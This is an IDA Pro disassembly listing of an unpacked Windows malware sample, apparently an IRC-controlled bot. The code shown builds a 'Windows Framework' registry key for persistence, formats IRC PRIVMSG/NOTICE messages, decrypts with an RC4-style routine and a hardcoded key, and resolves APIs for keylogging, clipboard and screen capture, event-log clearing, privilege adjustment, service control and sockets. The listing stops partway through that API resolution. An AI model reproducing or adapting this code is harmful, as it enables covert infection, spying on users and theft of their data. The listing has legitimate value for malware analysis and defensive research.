;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : FAAB09FEF341F991949E6E4B2DCE92A0
; File Name : u:\work\faab09fef341f991949e6e4b2dce92a0_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00038000 ( 229376.)
; Section size in file : 00038000 ( 229376.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg000 segment para public 'CODE' use32
assume cs:seg000
;org 401000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near ; CODE XREF: seg000:00401074p
; seg000:00417BE1p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_43C058
xor esi, esi
mov ebx, offset aWindowsFramewo ; "Windows Framework"
loc_401013: ; CODE XREF: start+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call ds:dword_4514A8
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41AC70
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call ds:dword_451518
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: start+2Fj
push ebx
push [ebp+var_4]
call ds:dword_451458
loc_401057: ; CODE XREF: start+4Bj
push [ebp+var_4]
call ds:dword_4514D0
add edi, 8
cmp edi, offset dword_43C070
jl short loc_401013
pop edi
pop esi
pop ebx
leave
retn
start endp
; ---------------------------------------------------------------------------
loc_401070: ; CODE XREF: seg000:00401086j
push dword ptr [esp+4]
call start
pop ecx
push ds:dword_43C050
call ds:dword_4F12F4 ; Sleep
jmp short loc_401070
; =============== S U B R O U T I N E =======================================
sub_401088 proc near ; CODE XREF: seg000:00401119p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010BD
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_4010A1: ; CODE XREF: sub_401088+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_43901C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_4010A1
pop edi
pop ebx
loc_4010BD: ; CODE XREF: sub_401088+Ej
mov eax, esi
pop esi
not eax
retn
sub_401088 endp
; ---------------------------------------------------------------------------
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41AE40
mov dword ptr [esp], offset dword_43C070
push dword ptr [esp+14h]
mov esi, eax
call sub_41D0E0
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_401112
loc_4010E8: ; CODE XREF: seg000:00401110j
test byte ptr [edi+0Ch], 10h
jnz short loc_401116
inc ebx
push ebx
push esi
call sub_41B2D0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_401112
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41CDD0
add esp, 10h
jmp short loc_4010E8
; ---------------------------------------------------------------------------
loc_401112: ; CODE XREF: seg000:004010E6j
; seg000:004010FCj
xor eax, eax
jmp short loc_401131
; ---------------------------------------------------------------------------
loc_401116: ; CODE XREF: seg000:004010ECj
dec ebx
push ebx
push esi
call sub_401088
push esi
mov ebx, eax
call sub_41B8B0
push edi
call sub_41ACF0
add esp, 10h
mov eax, ebx
loc_401131: ; CODE XREF: seg000:00401114j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
lea eax, [ebp-34h]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov byte ptr [ebp-34h], 0Ah
mov byte ptr [ebp-33h], 0Eh
mov byte ptr [ebp-32h], 20h
mov byte ptr [ebp-31h], 48h
mov byte ptr [ebp-30h], 0Bh
mov byte ptr [ebp-2Fh], 2Bh
mov byte ptr [ebp-2Eh], 0Ch
mov byte ptr [ebp-2Dh], 23h
mov byte ptr [ebp-2Ch], 3Ah
mov byte ptr [ebp-2Bh], 27h
mov byte ptr [ebp-2Ah], 28h
mov byte ptr [ebp-29h], 5Eh
mov byte ptr [ebp-28h], 2Ah
mov byte ptr [ebp-27h], 1Eh
mov byte ptr [ebp-26h], 2Dh
mov byte ptr [ebp-25h], 5Ah
mov byte ptr [ebp-24h], 1Bh
mov byte ptr [ebp-23h], 0Fh
mov byte ptr [ebp-22h], 4Ch
mov byte ptr [ebp-21h], 44h
mov byte ptr [ebp-20h], 16h
mov byte ptr [ebp-1Fh], 4
mov byte ptr [ebp-1Eh], 57h
mov byte ptr [ebp-1Dh], 23h
mov byte ptr [ebp-1Ch], 11h
mov byte ptr [ebp-1Bh], 53h
mov byte ptr [ebp-1Ah], 38h
mov byte ptr [ebp-19h], 13h
mov byte ptr [ebp-18h], 0Dh
mov byte ptr [ebp-17h], 12h
mov byte ptr [ebp-16h], 25h
mov byte ptr [ebp-15h], 1Ch
mov byte ptr [ebp-14h], 30h
mov byte ptr [ebp-13h], 12h
mov byte ptr [ebp-12h], 50h
mov byte ptr [ebp-11h], 4Fh
mov byte ptr [ebp-10h], 39h
mov byte ptr [ebp-0Fh], 10h
mov byte ptr [ebp-0Eh], 42h
mov byte ptr [ebp-0Dh], 1Fh
mov byte ptr [ebp-0Ch], 37h
mov byte ptr [ebp-0Bh], 1Dh
mov byte ptr [ebp-0Ah], 41h
mov byte ptr [ebp-9], 55h
mov byte ptr [ebp-8], 2Ch
mov byte ptr [ebp-7], 41h
mov byte ptr [ebp-6], 2Ch
mov byte ptr [ebp-5], 58h
mov [ebp-4], bl
call sub_41AC70
mov esi, 101h
mov [ebp-38h], eax
push esi
lea eax, [ebp-13Ch]
push ebx
push eax
call sub_41D100
push esi
lea eax, [ebp-240h]
push ebx
push eax
call sub_41D100
add esp, 1Ch
xor eax, eax
mov ecx, 100h
loc_40123F: ; CODE XREF: seg000:00401249j
mov [ebp+eax-13Ch], al
inc eax
cmp eax, ecx
jb short loc_40123F
cmp [ebp+14h], ebx
jz short loc_40126E
xor eax, eax
loc_401252: ; CODE XREF: seg000:0040126Aj
cmp edi, [ebp+14h]
jnz short loc_401259
xor edi, edi
loc_401259: ; CODE XREF: seg000:00401255j
mov edx, [ebp+10h]
mov dl, [edi+edx]
inc edi
mov [ebp+eax-240h], dl
inc eax
cmp eax, ecx
jb short loc_401252
jmp short loc_401288
; ---------------------------------------------------------------------------
loc_40126E: ; CODE XREF: seg000:0040124Ej
xor esi, esi
loc_401270: ; CODE XREF: seg000:00401286j
cmp edi, [ebp-38h]
jnz short loc_401277
xor edi, edi
loc_401277: ; CODE XREF: seg000:00401273j
mov al, [ebp+edi-34h]
inc edi
mov [ebp+esi-240h], al
inc esi
cmp esi, ecx
jb short loc_401270
loc_401288: ; CODE XREF: seg000:0040126Cj
mov [ebp+14h], ebx
xor edi, edi
mov eax, 0FFh
loc_401292: ; CODE XREF: seg000:004012CCj
mov dl, [ebp+edi-13Ch]
mov ebx, [ebp+14h]
mov cl, [ebp+edi-240h]
lea esi, [ebp+edi-13Ch]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov [ebp+14h], ecx
cmp edi, 100h
mov bl, [ebp+ecx-13Ch]
lea ecx, [ebp+ecx-13Ch]
mov [esi], bl
mov [ecx], dl
jb short loc_401292
xor edi, edi
cmp [ebp+0Ch], edi
mov [ebp+14h], edi
mov [ebp+10h], edi
jbe short loc_40132A
loc_4012DB: ; CODE XREF: seg000:00401328j
inc edi
and edi, eax
mov dl, [ebp+edi-13Ch]
lea ecx, [ebp+edi-13Ch]
mov bl, dl
add ebx, [ebp+14h]
and ebx, eax
mov esi, ebx
mov bl, [ebp+esi-13Ch]
mov [ebp+14h], esi
mov [ecx], bl
lea esi, [ebp+esi-13Ch]
mov ebx, [ebp+10h]
mov [esi], dl
mov cl, [ecx]
mov esi, [ebp+8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, [ebp+ecx-13Ch]
xor [esi], cl
inc ebx
cmp ebx, [ebp+0Ch]
mov [ebp+10h], ebx
jb short loc_4012DB
loc_40132A: ; CODE XREF: seg000:004012D9j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40132F proc near ; DATA XREF: seg000:00402724o
var_2B4 = dword ptr -2B4h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_4523C4
call ds:dword_451588
call sub_408F08
call ds:dword_45144C
call ds:dword_45144C
mov ebx, ds:dword_4F12F4
push 64h
call ebx ; dword_4F12F4
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41D100
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41D100
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_4513B0
mov [ebp+var_28], 1
mov [ebp+var_24], di
call near ptr 3D0000h
stosd
lea eax, [ebp+var_158]
push esi
push eax
push edi
call near ptr 3D0000h
mov ebx, 50F0458Dh
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 3D0000h
inc ebx
test eax, eax
jz short loc_4013F4
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, ds:dword_4F12FC
call esi ; dword_4F12FC
push [ebp+var_C]
call esi ; dword_4F12FC
loc_4013F4: ; CODE XREF: sub_40132F+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_4513A8
mov eax, [esp+2B4h+var_2B4]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_4F12F8 ; ExitProcess
pop edi
pop esi
pop ebx
sub_40132F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401417 proc near ; CODE XREF: sub_402EAE+3Dp
; seg000:004031E8p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41D160
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_451540
leave
retn
sub_401417 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40145D proc near ; CODE XREF: sub_40216A+40p
; sub_40216A+74p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_401478
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_401478: ; CODE XREF: sub_40145D+14j
push edi
call sub_41AC70
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41AC70
push [ebp+arg_8]
sub esi, eax
loc_401492: ; DATA XREF: seg002:off_445F7Co
lea eax, [ebp+var_400]
push offset aS ; "%s"
push esi
push eax
call sub_41D360
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_41D260
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_451540
cmp [ebp+arg_10], 0
pop edi
pop esi
loc_4014E9: ; DATA XREF: seg002:00446A28o
; seg002:00446A38o
jz short locret_4014F6
push 7D0h
call ds:dword_4F12F4 ; Sleep
locret_4014F6: ; CODE XREF: sub_40145D:loc_4014E9j
leave
retn
sub_40145D endp
; =============== S U B R O U T I N E =======================================
sub_4014F8 proc near ; CODE XREF: seg000:0040275Bp
push ebx
push ebp
mov ebp, ds:dword_4F1318
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; dword_4F1318
mov esi, ds:dword_4F1314
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_401618
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; dword_4F1314
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_45159C, eax
call esi ; dword_4F1314
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_451514, eax
call esi ; dword_4F1314
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_4514F8, eax
call esi ; dword_4F1314
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_45140C, eax
call esi ; dword_4F1314
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_4513B8, eax
call esi ; dword_4F1314
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_4513E8, eax
call esi ; dword_4F1314
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_45145C, eax
call esi ; dword_4F1314
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_451550, eax
call esi ; dword_4F1314
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:dword_4515AC, eax
call esi ; dword_4F1314
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_451418, eax
call esi ; dword_4F1314
cmp ds:dword_45159C, ebx
mov ds:dword_451400, eax
jz short loc_4015F6
cmp ds:dword_451514, ebx
jz short loc_4015F6
cmp ds:dword_4514F8, ebx
jz short loc_4015F6
cmp ds:dword_45140C, ebx
jz short loc_4015F6
cmp ds:dword_4513E8, ebx
jz short loc_4015F6
cmp ds:dword_45145C, ebx
jz short loc_4015F6
cmp ds:dword_451550, ebx
jz short loc_4015F6
cmp ds:dword_4515AC, ebx
jz short loc_4015F6
cmp ds:dword_451418, ebx
jz short loc_4015F6
cmp eax, ebx
jnz short loc_401600
loc_4015F6: ; CODE XREF: sub_4014F8+B8j
; sub_4014F8+C0j ...
mov ds:dword_4515B0, 1
loc_401600: ; CODE XREF: sub_4014F8+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; dword_4F1314
cmp eax, ebx
mov ds:dword_451528, eax
jz short loc_40162D
push 1
push ebx
call eax
jmp short loc_40162D
; ---------------------------------------------------------------------------
loc_401618: ; CODE XREF: sub_4014F8+1Dj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515B4, eax
mov ds:dword_4515B0, 1
loc_40162D: ; CODE XREF: sub_4014F8+117j
; sub_4014F8+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_4F130C ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401742
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; dword_4F1314
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_45154C, eax
call esi ; dword_4F1314
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_451500, eax
call esi ; dword_4F1314
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_451494, eax
call esi ; dword_4F1314
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_4515A0, eax
call esi ; dword_4F1314
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_4514C4, eax
call esi ; dword_4F1314
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_4514E4, eax
call esi ; dword_4F1314
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_451544, eax
call esi ; dword_4F1314
cmp ds:dword_45154C, ebx
mov ds:dword_451438, eax
jz short loc_4016E6
cmp ds:dword_451500, ebx
jz short loc_4016E6
cmp ds:dword_451494, ebx
jz short loc_4016E6
cmp ds:dword_4515A0, ebx
jz short loc_4016E6
cmp ds:dword_4514C4, ebx
jz short loc_4016E6
cmp ds:dword_4514E4, ebx
jz short loc_4016E6
cmp ds:dword_451544, ebx
jz short loc_4016E6
cmp eax, ebx
jnz short loc_4016F0
loc_4016E6: ; CODE XREF: sub_4014F8+1B8j
; sub_4014F8+1C0j ...
mov ds:dword_4515B8, 1
loc_4016F0: ; CODE XREF: sub_4014F8+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; dword_4F1314
push offset aGetkeystate ; "GetKeyState"
push edi
mov ds:dword_4514C0, eax
call esi ; dword_4F1314
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov ds:dword_4513CC, eax
call esi ; dword_4F1314
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov ds:dword_451490, eax
call esi ; dword_4F1314
cmp ds:dword_4514C0, ebx
mov ds:dword_451478, eax
jz short loc_40174D
cmp ds:dword_4513CC, ebx
jz short loc_40174D
cmp ds:dword_451490, ebx
jz short loc_40174D
cmp eax, ebx
jnz short loc_401757
jmp short loc_40174D
; ---------------------------------------------------------------------------
loc_401742: ; CODE XREF: sub_4014F8+144j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515BC, eax
loc_40174D: ; CODE XREF: sub_4014F8+232j
; sub_4014F8+23Aj ...
mov ds:dword_4515B8, 1
loc_401757: ; CODE XREF: sub_4014F8+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; dword_4F1318
mov edi, eax
cmp edi, ebx
jz loc_401910
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; dword_4F1314
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_451560, eax
call esi ; dword_4F1314
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_4514A8, eax
call esi ; dword_4F1314
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_451518, eax
call esi ; dword_4F1314
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_4513F8, eax
call esi ; dword_4F1314
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_451458, eax
call esi ; dword_4F1314
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov ds:dword_4514D0, eax
call esi ; dword_4F1314
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov ds:dword_451474, eax
call esi ; dword_4F1314
cmp ds:dword_451560, ebx
mov ds:dword_451484, eax
jz short loc_401800
cmp ds:dword_4514A8, ebx
jz short loc_401800
cmp ds:dword_451518, ebx
jz short loc_401800
cmp ds:dword_4513F8, ebx
jz short loc_401800
cmp ds:dword_451458, ebx
jz short loc_401800
cmp ds:dword_4514D0, ebx
jnz short loc_40180A
loc_401800: ; CODE XREF: sub_4014F8+2DEj
; sub_4014F8+2E6j ...
mov ds:dword_4515C0, 1
loc_40180A: ; CODE XREF: sub_4014F8+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; dword_4F1314
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_4514D8, eax
call esi ; dword_4F1314
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_4514B0, eax
call esi ; dword_4F1314
cmp ds:dword_4514D8, ebx
mov ds:dword_45155C, eax
jz short loc_401845
cmp ds:dword_4514B0, ebx
jz short loc_401845
cmp eax, ebx
jnz short loc_40184F
loc_401845: ; CODE XREF: sub_4014F8+33Fj
; sub_4014F8+347j
mov ds:dword_4515C0, 1
loc_40184F: ; CODE XREF: sub_4014F8+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; dword_4F1314
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_4514E8, eax
call esi ; dword_4F1314
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_4513D4, eax
call esi ; dword_4F1314
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_4513DC, eax
call esi ; dword_4F1314
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_451440, eax
call esi ; dword_4F1314
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_451444, eax
call esi ; dword_4F1314
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_4513F0, eax
call esi ; dword_4F1314
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_4514B4, eax
call esi ; dword_4F1314
cmp ds:dword_4514E8, ebx
mov ds:dword_4513E0, eax
jz short loc_4018F3
cmp ds:dword_4513D4, ebx
jz short loc_4018F3
cmp ds:dword_4513DC, ebx
jz short loc_4018F3
cmp ds:dword_451440, ebx
jz short loc_4018F3
cmp ds:dword_451444, ebx
jz short loc_4018F3
cmp ds:dword_4513F0, ebx
jz short loc_4018F3
cmp ds:dword_4514B4, ebx
jz short loc_4018F3
cmp eax, ebx
jnz short loc_4018FD
loc_4018F3: ; CODE XREF: sub_4014F8+3C5j
; sub_4014F8+3CDj ...
mov ds:dword_4515C0, 1
loc_4018FD: ; CODE XREF: sub_4014F8+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; dword_4F1314
cmp eax, ebx
mov ds:dword_4513D8, eax
jnz short loc_401925
jmp short loc_40191B
; ---------------------------------------------------------------------------
loc_401910: ; CODE XREF: sub_4014F8+26Aj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515C4, eax
loc_40191B: ; CODE XREF: sub_4014F8+416j
mov ds:dword_4515C0, 1
loc_401925: ; CODE XREF: sub_4014F8+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; dword_4F1318
mov edi, eax
cmp edi, ebx
jz loc_4019F1
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; dword_4F1314
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_4514E0, eax
call esi ; dword_4F1314
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_451534, eax
call esi ; dword_4F1314
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_45153C, eax
call esi ; dword_4F1314
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_4514FC, eax
call esi ; dword_4F1314
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_45141C, eax
call esi ; dword_4F1314
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_4513C8, eax
call esi ; dword_4F1314
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_451538, eax
call esi ; dword_4F1314
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_4513B4, eax
call esi ; dword_4F1314
cmp ds:dword_4514E0, ebx
mov ds:dword_451450, eax
jz short loc_4019FC
cmp ds:dword_451534, ebx
jz short loc_4019FC
cmp ds:dword_45153C, ebx
jz short loc_4019FC
cmp ds:dword_4514FC, ebx
jz short loc_4019FC
cmp ds:dword_45141C, ebx
jz short loc_4019FC
cmp ds:dword_4513C8, ebx
jz short loc_4019FC
cmp ds:dword_451538, ebx
jz short loc_4019FC
cmp ds:dword_4513B4, ebx
jz short loc_4019FC
cmp eax, ebx
jnz short loc_401A06
jmp short loc_4019FC
; ---------------------------------------------------------------------------
loc_4019F1: ; CODE XREF: sub_4014F8+438j
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515CC, eax
loc_4019FC: ; CODE XREF: sub_4014F8+4B9j
; sub_4014F8+4C1j ...
mov ds:dword_4515C8, 1
loc_401A06: ; CODE XREF: sub_4014F8+4F5j
mov ebp, ds:dword_4F130C
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; dword_4F130C
mov edi, eax
cmp edi, ebx
jz loc_401CC2
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; dword_4F1314
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_451464, eax
call esi ; dword_4F1314
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_451594, eax
call esi ; dword_4F1314
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_451408, eax
call esi ; dword_4F1314
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_4513E4, eax
call esi ; dword_4F1314
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_4514A0, eax
call esi ; dword_4F1314
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_451488, eax
call esi ; dword_4F1314
push offset aSocket ; "socket"
push edi
mov ds:dword_45144C, eax
call esi ; dword_4F1314
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_451570, eax
call esi ; dword_4F1314
push offset aConnect ; "connect"
push edi
mov ds:dword_45158C, eax
call esi ; dword_4F1314
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_45149C, eax
call esi ; dword_4F1314
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_45157C, eax
call esi ; dword_4F1314
push offset aHtons ; "htons"
push edi
mov ds:dword_451530, eax
call esi ; dword_4F1314
push offset aHtonl ; "htonl"
push edi
mov ds:dword_4514F4, eax
call esi ; dword_4F1314
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_4514F0, eax
call esi ; dword_4F1314
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_451428, eax
call esi ; dword_4F1314
push offset aSend ; "send"
push edi
mov ds:dword_451420, eax
call esi ; dword_4F1314
push offset aSendto ; "sendto"
push edi
mov ds:dword_451540, eax
call esi ; dword_4F1314
push offset aRecv ; "recv"
push edi
mov ds:dword_451554, eax
call esi ; dword_4F1314
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_45150C, eax
call esi ; dword_4F1314
mov ds:dword_4514CC, eax
push offset aBind ; "bind"
push edi
call esi ; dword_4F1314
push offset aSelect ; "select"
push edi
mov ds:dword_451520, eax
call esi ; dword_4F1314
push offset aListen ; "listen"
push edi
mov ds:dword_4514DC, eax
call esi ; dword_4F1314
push offset aAccept ; "accept"
push edi
mov ds:dword_45151C, eax
call esi ; dword_4F1314
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_451584, eax
call esi ; dword_4F1314
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_4514D4, eax
call esi ; dword_4F1314
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_451498, eax
call esi ; dword_4F1314
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_451508, eax
call esi ; dword_4F1314
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_451574, eax
call esi ; dword_4F1314
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_4514AC, eax
call esi ; dword_4F1314
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_451448, eax
call esi ; dword_4F1314
cmp ds:dword_451464, ebx
mov ds:dword_451588, eax
jz loc_401CCD
cmp ds:dword_451594, ebx
jz loc_401CCD
cmp ds:dword_451408, ebx
jz loc_401CCD
cmp ds:dword_4514A0, ebx
jz loc_401CCD
cmp ds:dword_451488, ebx
jz loc_401CCD
cmp ds:dword_45144C, ebx
jz loc_401CCD
cmp ds:dword_451570, ebx
jz loc_401CCD
cmp ds:dword_45158C, ebx
jz loc_401CCD
cmp ds:dword_45149C, ebx
jz loc_401CCD
cmp ds:dword_45157C, ebx
jz loc_401CCD
cmp ds:dword_451530, ebx
jz loc_401CCD
cmp ds:dword_4514F4, ebx
jz loc_401CCD
cmp ds:dword_4514F0, ebx
jz loc_401CCD
cmp ds:dword_451428, ebx
jz short loc_401CCD
cmp ds:dword_451540, ebx
jz short loc_401CCD
cmp ds:dword_451554, ebx
jz short loc_401CCD
cmp ds:dword_45150C, ebx
jz short loc_401CCD
cmp ds:dword_4514CC, ebx
jz short loc_401CCD
cmp ds:dword_451520, ebx
jz short loc_401CCD
cmp ds:dword_4514DC, ebx
jz short loc_401CCD
cmp ds:dword_45151C, ebx
jz short loc_401CCD
cmp ds:dword_451584, ebx
jz short loc_401CCD
cmp ds:dword_4514D4, ebx
jz short loc_401CCD
cmp ds:dword_451498, ebx
jz short loc_401CCD
cmp ds:dword_451508, ebx
jz short loc_401CCD
cmp ds:dword_451574, ebx
jz short loc_401CCD
cmp ds:dword_4514AC, ebx
jz short loc_401CCD
cmp eax, ebx
jnz short loc_401CD7
jmp short loc_401CCD
; ---------------------------------------------------------------------------
loc_401CC2: ; CODE XREF: sub_4014F8+51Fj
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov ds:dword_4515D4, eax
